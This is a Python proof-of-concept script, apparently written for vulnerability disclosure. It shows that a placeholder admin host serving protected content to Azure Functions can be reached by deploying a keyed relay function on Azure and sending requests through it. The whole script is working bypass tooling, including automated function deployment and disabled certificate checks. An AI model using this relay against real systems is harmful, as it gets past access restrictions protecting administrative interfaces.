#!/usr/bin/env python3
# /// script
# requires-python = ">=3.10"
# dependencies = ["curl_cffi"]
# ///
"""HOST refuses direct requests but serves WHAT to any Azure Function.

With no command, this requests TARGET directly and then through an Azure Function, by
default the researcher's. To use a function in your own Azure subscription:

  uv run NAME.py setup
  uv run NAME.py --function-url <the URL setup printed>
  uv run NAME.py delete

setup signs in with the Azure CLI (az login), or with a service principal given as
--tenant-id, --client-id and --client-secret, and takes a few minutes. It needs
the Contributor role on the subscription.
"""

from __future__ import annotations

import argparse
import base64
import hashlib
import io
import json
import secrets
import subprocess
import sys
import time
import zipfile
from dataclasses import dataclass

from curl_cffi import requests

# The researcher's function. Its key only reaches TARGET's host.
FUNCTION_URL = "https://FUNCTION.azurewebsites.net/api/check_urls?key=KEY"
TARGET = "https://admin.example.com/"
HEADERS: dict[str, str] = {}
USER_AGENT = (
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
)


@dataclass
class Relayed:
    """The target's response, as the function relayed it."""

    status_code: int
    headers: dict[str, str]
    content: bytes

    @property
    def text(self) -> str:
        return self.content.decode("utf-8", errors="replace")


def proof(response) -> str | None:
    """The protected content in the response, or None."""
    if response.status_code == 200 and "Dashboard" in response.text:
        return response.text[:400]
    return None


def through_function(
    session: requests.Session,
    function_url: str,
    url: str,
    headers: dict[str, str],
    method: str = "GET",
    body: bytes | None = None,
) -> Relayed:
    """Send one request to url from the function, and return the target's response."""
    request = {"method": method, "url": url, "headers": {"User-Agent": USER_AGENT} | headers}
    if body:
        request["body_base64"] = base64.b64encode(body).decode()
    response = session.post(function_url, json={"proxy": request}, timeout=90)
    if response.status_code not in (200, 502):
        raise SystemExit(f"error: the function returned HTTP {response.status_code}")
    result = response.json()
    if result["error"]:
        raise SystemExit(f"error: the function got no response from {url}: {result['error']}")
    return Relayed(
        result["status_code"],
        {name: values[-1] for name, values in result["headers"].items()},
        base64.b64decode(result["body_base64"]),
    )


def run(args: argparse.Namespace) -> int:
    session = requests.Session(impersonate="chrome", proxy=args.proxy, verify=False)
    try:
        direct = session.get(TARGET, headers=HEADERS, timeout=15, allow_redirects=False)
    except requests.RequestsError as exc:
        print(f"Direct: no response ({str(exc).split('. See ')[0]})")
    else:
        print(f"Direct: HTTP {direct.status_code}")
        if proof(direct):
            print("error: the direct request was not refused", file=sys.stderr)
            return 1

    response = through_function(session, args.function_url, TARGET, HEADERS)
    print(f"Through Azure Functions: HTTP {response.status_code}")
    found = proof(response)
    if not found:
        print(f"error: no protected content:\n{response.text[:300]}", file=sys.stderr)
        return 1
    print(found)
    return 0


# Your own function: setup and delete.

RESOURCE_GROUP = "origin-access-poc"
REGION = "eastus2"
ARM = "https://management.azure.com"
SETUP_HELP = """Create an Azure Function in your subscription and print the URL to pass as
--function-url. It sends each request to the URL in the PoC's request body, as any
Azure customer's function can, from Azure's shared outbound addresses, and answers
only requests that carry the random key in the printed URL, so it is not an open
proxy. Running setup again replaces the key.

Everything goes in the resource group origin-access-poc, which delete removes. It is
a Flex Consumption function app with its storage account, so it costs nothing while
idle.

setup signs in with the Azure CLI (az login) unless a service principal is given.
Either needs the Contributor role on the subscription: setup registers the
Microsoft.Web and Microsoft.Storage resource providers and creates the resource group.
"""

FUNCTION_SOURCE = r"""
import base64
import hmac
import json
import ssl
import urllib.error
import urllib.request

import azure.functions as func

KEY = "__KEY__"


class NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, *args):
        return None


OPENER = urllib.request.build_opener(
    urllib.request.HTTPSHandler(context=ssl._create_unverified_context()), NoRedirect()
)


def main(request):
    if not hmac.compare_digest((request.params.get("key") or "").encode(), KEY.encode()):
        return func.HttpResponse(status_code=403)
    proxy = request.get_json()["proxy"]
    body = base64.b64decode(proxy["body_base64"]) if proxy.get("body_base64") else None
    outgoing = urllib.request.Request(
        proxy["url"],
        data=body,
        method=proxy.get("method") or "GET",
        headers={"Accept-Encoding": "identity", **(proxy.get("headers") or {})},
    )
    try:
        try:
            response = OPENER.open(outgoing, timeout=55)
        except urllib.error.HTTPError as exc:
            response = exc
        result = {
            "status_code": response.status,
            "headers": {name: [value] for name, value in response.headers.items()},
            "body_base64": base64.b64encode(response.read()).decode(),
            "error": "",
        }
        status = 200
    except Exception as exc:
        result = {"status_code": 0, "headers": {}, "body_base64": "", "error": str(exc)}
        status = 502
    return func.HttpResponse(json.dumps(result), status_code=status, mimetype="application/json")
"""


def log(message: str) -> None:
    print(message, file=sys.stderr, flush=True)


class Azure:
    def __init__(self, token: str, subscription: str) -> None:
        self.subscription = subscription
        self.headers = {"Authorization": f"Bearer {token}"}
        self.group = f"{ARM}/subscriptions/{subscription}/resourcegroups/{RESOURCE_GROUP}"
        suffix = hashlib.sha256(subscription.encode()).hexdigest()[:10]
        self.app = f"origin-access-poc-{suffix}"
        self.storage = f"originpoc{suffix}"
        self.site = f"{self.group}/providers/Microsoft.Web/sites/{self.app}"

    def call(self, method: str, url: str, api: str, body: dict | None = None) -> requests.Response:
        response = requests.request(
            method, f"{url}?api-version={api}", headers=self.headers, json=body, timeout=120
        )
        if response.status_code == 403:
            raise SystemExit(
                f"error: Azure refused {method} {url}: {response.text[:500]}\n"
                "The account needs the Contributor role on the subscription."
            )
        if response.status_code >= 400 and not (method == "GET" and response.status_code == 404):
            raise SystemExit(
                f"error: {method} {url} returned HTTP {response.status_code}: "
                f"{response.text[:1000]}"
            )
        return response


def sign_in(args: argparse.Namespace) -> Azure:
    if args.client_id:
        if not (args.tenant_id and args.client_secret and args.subscription_id):
            raise SystemExit(
                "error: a service principal needs --tenant-id, --client-secret and "
                "--subscription-id"
            )
        response = requests.post(
            f"https://login.microsoftonline.com/{args.tenant_id}/oauth2/v2.0/token",
            data={
                "client_id": args.client_id,
                "client_secret": args.client_secret,
                "scope": f"{ARM}/.default",
                "grant_type": "client_credentials",
            },
            timeout=60,
        )
        if response.status_code != 200:
            raise SystemExit(f"error: Azure sign-in failed: {response.text[:500]}")
        return Azure(response.json()["access_token"], args.subscription_id)
    command = ["az", "account", "get-access-token", "--resource", f"{ARM}/", "-o", "json"]
    if args.subscription_id:
        command += ["--subscription", args.subscription_id]
    try:
        token = json.loads(
            subprocess.run(command, capture_output=True, text=True, check=True).stdout
        )
    except FileNotFoundError:
        raise SystemExit(
            "error: install the Azure CLI and run az login, or give a service principal"
        ) from None
    except subprocess.CalledProcessError as exc:
        raise SystemExit(
            f"error: az account get-access-token failed: {exc.stderr.strip()}"
        ) from None
    return Azure(token["accessToken"], token["subscription"])


def template(azure: Azure, region: str) -> dict:
    connection = (
        "[format('DefaultEndpointsProtocol=https;AccountName={0};AccountKey={1};"
        "EndpointSuffix={2}', variables('storage'), listKeys(resourceId("
        "'Microsoft.Storage/storageAccounts', variables('storage')), '2023-05-01')"
        ".keys[0].value, environment().suffixes.storage)]"
    )
    storage = "[resourceId('Microsoft.Storage/storageAccounts', variables('storage'))]"
    return {
        "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#",
        "contentVersion": "1.0.0.0",
        "variables": {"app": azure.app, "storage": azure.storage, "plan": f"{azure.app}-plan"},
        "resources": [
            {
                "type": "Microsoft.Storage/storageAccounts",
                "apiVersion": "2023-05-01",
                "name": "[variables('storage')]",
                "location": region,
                "sku": {"name": "Standard_LRS"},
                "kind": "StorageV2",
            },
            {
                "type": "Microsoft.Storage/storageAccounts/blobServices/containers",
                "apiVersion": "2023-05-01",
                "name": "[format('{0}/default/package', variables('storage'))]",
                "dependsOn": [storage],
                "properties": {"publicAccess": "None"},
            },
            {
                "type": "Microsoft.Web/serverfarms",
                "apiVersion": "2024-04-01",
                "name": "[variables('plan')]",
                "location": region,
                "kind": "functionapp",
                "sku": {"name": "FC1", "tier": "FlexConsumption"},
                "properties": {"reserved": True},
            },
            {
                "type": "Microsoft.Web/sites",
                "apiVersion": "2024-04-01",
                "name": "[variables('app')]",
                "location": region,
                "kind": "functionapp,linux",
                "dependsOn": [
                    "[resourceId('Microsoft.Storage/storageAccounts/blobServices/containers', "
                    "variables('storage'), 'default', 'package')]",
                    "[resourceId('Microsoft.Web/serverfarms', variables('plan'))]",
                ],
                "properties": {
                    "serverFarmId": "[resourceId('Microsoft.Web/serverfarms', variables('plan'))]",
                    "httpsOnly": True,
                    "siteConfig": {
                        "appSettings": [
                            {"name": "AzureWebJobsStorage", "value": connection},
                            {"name": "PACKAGE_STORAGE", "value": connection},
                        ]
                    },
                    "functionAppConfig": {
                        "deployment": {
                            "storage": {
                                "type": "blobContainer",
                                "value": f"[format('{{0}}package', reference({storage[1:-1]}, "
                                "'2023-05-01').primaryEndpoints.blob)]",
                                "authentication": {
                                    "type": "StorageAccountConnectionString",
                                    "storageAccountConnectionStringName": "PACKAGE_STORAGE",
                                },
                            }
                        },
                        "scaleAndConcurrency": {
                            "maximumInstanceCount": 40,
                            "instanceMemoryMB": 2048,
                        },
                        "runtime": {"name": "python", "version": "3.11"},
                    },
                },
            },
            {
                "type": "Microsoft.Web/sites/basicPublishingCredentialsPolicies",
                "apiVersion": "2022-03-01",
                "name": "[format('{0}/scm', variables('app'))]",
                "dependsOn": ["[resourceId('Microsoft.Web/sites', variables('app'))]"],
                "properties": {"allow": True},
            },
        ],
    }


def package(key: str) -> bytes:
    files = {
        "poc/__init__.py": FUNCTION_SOURCE.replace("__KEY__", key),
        "poc/function.json": json.dumps(
            {
                "scriptFile": "__init__.py",
                "bindings": [
                    {
                        "authLevel": "anonymous",
                        "type": "httpTrigger",
                        "direction": "in",
                        "name": "request",
                        "methods": ["post"],
                        "route": "poc",
                    },
                    {"type": "http", "direction": "out", "name": "$return"},
                ],
            }
        ),
        "host.json": json.dumps({"version": "2.0"}),
        "requirements.txt": "azure-functions==1.*\n",
    }
    buffer = io.BytesIO()
    with zipfile.ZipFile(buffer, "w", zipfile.ZIP_DEFLATED) as archive:
        for name, content in files.items():
            # Without a mode the files unpack unreadable and the function host fails.
            info = zipfile.ZipInfo(name)
            info.create_system = 3
            info.external_attr = 0o100644 << 16
            archive.writestr(info, content, compress_type=zipfile.ZIP_DEFLATED)
    return buffer.getvalue()


def wait(what: str, done, timeout: int = 900) -> None:
    deadline = time.monotonic() + timeout
    while not done():
        if time.monotonic() > deadline:
            raise SystemExit(f"error: timed out waiting for {what}")
        time.sleep(5)


def deploy_code(azure: Azure, key: str) -> None:
    credentials = azure.call(
        "POST", f"{azure.site}/config/publishingcredentials/list", "2023-12-01"
    ).json()["properties"]
    auth = {
        "Authorization": "Basic "
        + base64.b64encode(
            f"{credentials['publishingUserName']}:{credentials['publishingPassword']}".encode()
        ).decode()
    }
    scm = f"https://{azure.app}.scm.azurewebsites.net"
    response = requests.post(
        f"{scm}/api/publish?remoteBuild=true",
        data=package(key),
        headers=auth | {"Content-Type": "application/zip"},
        timeout=600,
    )
    if response.status_code >= 400:
        raise SystemExit(
            f"error: deploying the code returned HTTP {response.status_code}: "
            f"{response.text[:1000]}"
        )
    if response.status_code != 202:
        return
    deployment = response.text.strip().strip('"')

    def deployed() -> bool:
        status = requests.get(f"{scm}/api/deployments/{deployment}", headers=auth, timeout=60)
        state = status.json()
        text = str(state.get("status_text") or state.get("message") or "")
        # A failure to sync triggers is put right by the restart that follows.
        if state.get("status") == 4 or (state.get("status") == 6 and "trigger" in text.lower()):
            return True
        if state.get("status") in (-1, 3, 5, 6):
            raise SystemExit(f"error: deploying the code failed: {text}")
        return False

    wait("the code to deploy", deployed)


def check(function_url: str) -> None:
    session = requests.Session()
    # The function host takes a minute or two to start after a deployment.
    for _ in range(40):
        try:
            response = through_function(session, function_url, "https://example.com/", {})
            if "Example Domain" in response.text:
                return
        except (requests.RequestsError, SystemExit, ValueError, KeyError):
            pass
        time.sleep(10)
    raise SystemExit(f"error: {function_url} did not reach https://example.com/")


def setup(azure: Azure, region: str) -> int:
    for namespace in ("Microsoft.Storage", "Microsoft.Web"):
        provider = f"{ARM}/subscriptions/{azure.subscription}/providers/{namespace}"
        azure.call("POST", f"{provider}/register", "2021-04-01")
        wait(
            f"{namespace} to register",
            lambda provider=provider: (
                azure.call("GET", provider, "2021-04-01").json()["registrationState"]
                == "Registered"
            ),
        )
    azure.call("PUT", azure.group, "2022-09-01", {"location": region})
    log(f"Deploying function app {azure.app} in {region}")
    deployment = f"{azure.group}/providers/Microsoft.Resources/deployments/{RESOURCE_GROUP}"
    azure.call(
        "PUT",
        deployment,
        "2022-09-01",
        {"properties": {"mode": "Incremental", "template": template(azure, region)}},
    )

    def provisioned() -> bool:
        properties = azure.call("GET", deployment, "2022-09-01").json()["properties"]
        if properties["provisioningState"] in ("Failed", "Canceled"):
            raise SystemExit(f"error: the deployment failed: {properties.get('error')}")
        return properties["provisioningState"] == "Succeeded"

    wait("the function app to deploy", provisioned)
    key = secrets.token_hex(16)
    log("Deploying the function code")
    deploy_code(azure, key)
    azure.call("POST", f"{azure.site}/restart", "2024-04-01")
    wait(
        "the function triggers to sync",
        lambda: (
            requests.post(
                f"{azure.site}/syncfunctiontriggers?api-version=2024-04-01",
                headers=azure.headers,
                timeout=120,
            ).status_code
            < 300
        ),
    )
    url = f"https://{azure.app}.azurewebsites.net/api/poc?key={key}"
    log("Checking the function")
    check(url)
    print(url)
    return 0


def delete(azure: Azure) -> int:
    if azure.call("GET", azure.group, "2022-09-01").status_code == 404:
        return 0
    log(f"Deleting resource group {RESOURCE_GROUP} (a few minutes)")
    azure.call("DELETE", azure.group, "2022-09-01")
    wait(
        "the resource group to delete",
        lambda: azure.call("GET", azure.group, "2022-09-01").status_code == 404,
    )
    log(f"Deleted resource group {RESOURCE_GROUP}")
    return 0


def main() -> int:
    parser = argparse.ArgumentParser(
        description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter
    )
    parser.add_argument(
        "--function-url",
        default=FUNCTION_URL,
        help="the URL setup printed (default: the researcher's function)",
    )
    parser.add_argument("--proxy", help="HTTP proxy, e.g. http://127.0.0.1:8080")
    commands = parser.add_subparsers(dest="command")
    for name, short, text in (
        ("setup", "create your own function and print its URL", SETUP_HELP),
        ("delete", "delete the resource group setup created", None),
    ):
        sub = commands.add_parser(
            name,
            help=short,
            description=text or short,
            formatter_class=argparse.RawDescriptionHelpFormatter,
        )
        sub.add_argument("--subscription-id", help="default: the Azure CLI's subscription")
        sub.add_argument("--tenant-id", help="service principal tenant ID")
        sub.add_argument("--client-id", help="service principal client ID")
        sub.add_argument("--client-secret", help="service principal client secret")
        if name == "setup":
            sub.add_argument("--region", default=REGION, help=f"default: {REGION}")
    args = parser.parse_args()
    if not args.command:
        return run(args)
    azure = sign_in(args)
    return setup(azure, args.region) if args.command == "setup" else delete(azure)


if __name__ == "__main__":
    raise SystemExit(main())